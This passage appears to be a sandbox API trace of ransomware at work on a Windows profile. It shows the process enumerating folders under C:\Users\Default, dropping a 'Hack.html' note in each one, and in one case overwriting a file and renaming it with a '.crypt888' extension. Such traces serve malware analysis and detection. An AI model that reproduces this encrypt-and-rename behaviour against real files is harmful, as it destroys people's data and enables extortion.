(lpFileName="C:\\Users\\Default\\AppData\\Hack.html" (normalized: "c:\\users\\default\\appdata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.274] GetFileType (hFile=0x174) returned 0x1 [0091.274] GetFileType (hFile=0x174) returned 0x1 [0091.276] CreateFileW (lpFileName="C:\\Users\\Default\\Application Data\\Hack.html" (normalized: "c:\\users\\default\\application data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.277] GetFileType (hFile=0x174) returned 0x1 [0091.277] GetFileType (hFile=0x174) returned 0x1 [0091.279] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.279] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.279] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.279] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.279] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.279] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.279] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.279] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.280] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Hack.html" (normalized: "c:\\users\\default\\contacts\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.280] GetFileType (hFile=0x174) returned 0x1 [0091.280] GetFileType (hFile=0x174) returned 0x1 [0091.282] CreateFileW (lpFileName="C:\\Users\\Default\\Cookies\\Hack.html" (normalized: "c:\\users\\default\\cookies\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.285] GetFileType (hFile=0x174) returned 0x1 [0091.285] GetFileType (hFile=0x174) returned 0x1 [0091.286] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.286] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.286] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.286] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.286] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.287] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.287] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\Hack.html" (normalized: "c:\\users\\default\\desktop\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.287] GetFileType (hFile=0x174) returned 0x1 [0091.287] GetFileType (hFile=0x174) returned 0x1 [0091.289] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.289] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.289] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.289] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.289] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.289] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.290] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.291] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.294] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Music\\Hack.html" (normalized: "c:\\users\\default\\documents\\my music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.297] GetFileType (hFile=0x174) returned 0x1 [0091.297] GetFileType (hFile=0x174) returned 0x1 [0091.302] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\Hack.html" (normalized: "c:\\users\\default\\documents\\my pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.304] GetFileType (hFile=0x174) returned 0x1 [0091.304] GetFileType (hFile=0x174) returned 0x1 [0091.309] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Videos\\Hack.html" (normalized: "c:\\users\\default\\documents\\my videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.311] GetFileType (hFile=0x174) returned 0x1 [0091.311] GetFileType (hFile=0x174) returned 0x1 [0091.312] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\Hack.html" (normalized: "c:\\users\\default\\documents\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.313] GetFileType (hFile=0x174) returned 0x1 [0091.313] GetFileType (hFile=0x174) returned 0x1 [0091.314] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.314] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.314] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.314] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.314] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.314] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.314] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\Hack.html" (normalized: "c:\\users\\default\\downloads\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.315] GetFileType (hFile=0x174) returned 0x1 [0091.315] GetFileType (hFile=0x174) returned 0x1 [0091.317] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.318] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.318] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.318] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.318] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.318] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.318] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.319] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.319] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.319] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.319] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.320] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.320] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.320] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.321] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.321] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.321] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.321] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.321] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.321] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.321] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.322] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.322] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Hack.html" (normalized: "c:\\users\\default\\favorites\\links\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.322] GetFileType (hFile=0x174) returned 0x1 [0091.322] GetFileType (hFile=0x174) returned 0x1 [0091.326] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.326] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.326] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.326] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.326] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.326] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.326] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.327] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.327] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.327] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.327] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.327] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.327] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.327] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.328] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Hack.html" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.330] GetFileType (hFile=0x174) returned 0x1 [0091.330] GetFileType (hFile=0x174) returned 0x1 [0091.332] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.335] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.335] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.335] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.336] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\Hack.html" (normalized: "c:\\users\\default\\favorites\\msn websites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.337] GetFileType (hFile=0x174) returned 0x1 [0091.337] GetFileType (hFile=0x174) returned 0x1 [0091.338] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Hack.html" (normalized: "c:\\users\\default\\favorites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.338] GetFileType (hFile=0x174) returned 0x1 [0091.338] GetFileType (hFile=0x174) returned 0x1 [0091.342] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Hack.html" (normalized: "c:\\users\\default\\links\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.343] GetFileType (hFile=0x174) returned 0x1 [0091.343] GetFileType (hFile=0x174) returned 0x1 [0091.345] CreateFileW (lpFileName="C:\\Users\\Default\\Local Settings\\Hack.html" (normalized: "c:\\users\\default\\local settings\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.346] GetFileType (hFile=0x174) returned 0x1 [0091.346] GetFileType (hFile=0x174) returned 0x1 [0091.347] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\Hack.html" (normalized: "c:\\users\\default\\music\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.347] GetFileType (hFile=0x174) returned 0x1 [0091.347] GetFileType (hFile=0x174) returned 0x1 [0091.347] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0091.347] ReadFile (in: hFile=0x174, lpBuffer=0x282f4dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x282f4dc*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0091.347] CloseHandle (hObject=0x174) returned 1 [0091.394] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music\\Hack.html", lpFilePart=0x0) returned 0x20 [0091.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.394] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\Hack.html" (normalized: "c:\\users\\default\\music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.395] GetFileType (hFile=0x174) returned 0x1 [0091.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0091.395] GetFileType (hFile=0x174) returned 0x1 [0091.395] WriteFile (in: hFile=0x174, lpBuffer=0x287d624*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x287d624*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0091.396] CloseHandle (hObject=0x174) returned 1 [0091.397] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music\\Hack.html", lpFilePart=0x0) returned 0x20 [0091.397] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music\\Hack.html.crypt888", lpFilePart=0x0) returned 0x29 [0091.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0091.397] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Music\\Hack.html" (normalized: "c:\\users\\default\\music\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc79dd940, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc79dd940, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7ac2180, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0091.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0091.397] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Music\\Hack.html" (normalized: "c:\\users\\default\\music\\hack.html"), lpNewFileName="C:\\Users\\Default\\Music\\Hack.html.crypt888" (normalized: "c:\\users\\default\\music\\hack.html.crypt888")) returned 1 [0091.398] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music\\Hack.html", lpFilePart=0x0) returned 0x20 [0091.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.398] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\Hack.html" (normalized: "c:\\users\\default\\music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.398] GetFileType (hFile=0x174) returned 0x1 [0091.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.398] GetFileType (hFile=0x174) returned 0x1 [0091.399] WriteFile (in: hFile=0x174, lpBuffer=0x287febc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x287febc*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.400] CloseHandle (hObject=0x174) returned 1 [0091.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.400] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents", lpFilePart=0x0) returned 0x1d [0091.400] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents\\", lpFilePart=0x0) returned 0x1e [0091.400] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0091.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0091.402] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents\\Hack.html", lpFilePart=0x0) returned 0x27 [0091.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.402] CreateFileW (lpFileName="C:\\Users\\Default\\My Documents\\Hack.html" (normalized: "c:\\users\\default\\my documents\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.403] GetFileType (hFile=0x174) returned 0x1 [0091.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.403] GetFileType (hFile=0x174) returned 0x1 [0091.403] WriteFile (in: hFile=0x174, lpBuffer=0x288311c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x288311c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.404] CloseHandle (hObject=0x174) returned 1 [0091.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.404] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood", lpFilePart=0x0) returned 0x18 [0091.404] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood\\", lpFilePart=0x0) returned 0x19 [0091.404] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0091.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0091.406] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood\\Hack.html", lpFilePart=0x0) returned 0x22 [0091.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.406] CreateFileW (lpFileName="C:\\Users\\Default\\NetHood\\Hack.html" (normalized: "c:\\users\\default\\nethood\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.407] GetFileType (hFile=0x174) returned 0x1 [0091.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.407] GetFileType (hFile=0x174) returned 0x1 [0091.407] WriteFile (in: hFile=0x174, lpBuffer=0x2886314*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2886314*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.408] CloseHandle (hObject=0x174) returned 1 [0091.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.408] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0091.408] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures\\", lpFilePart=0x0) returned 0x1a [0091.408] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a228 [0091.409] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.409] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.409] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.409] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.409] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0091.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.410] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0091.410] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures\\", lpFilePart=0x0) returned 0x1a [0091.410] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a228 [0091.410] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.410] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.410] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.411] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.411] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0091.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.411] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: 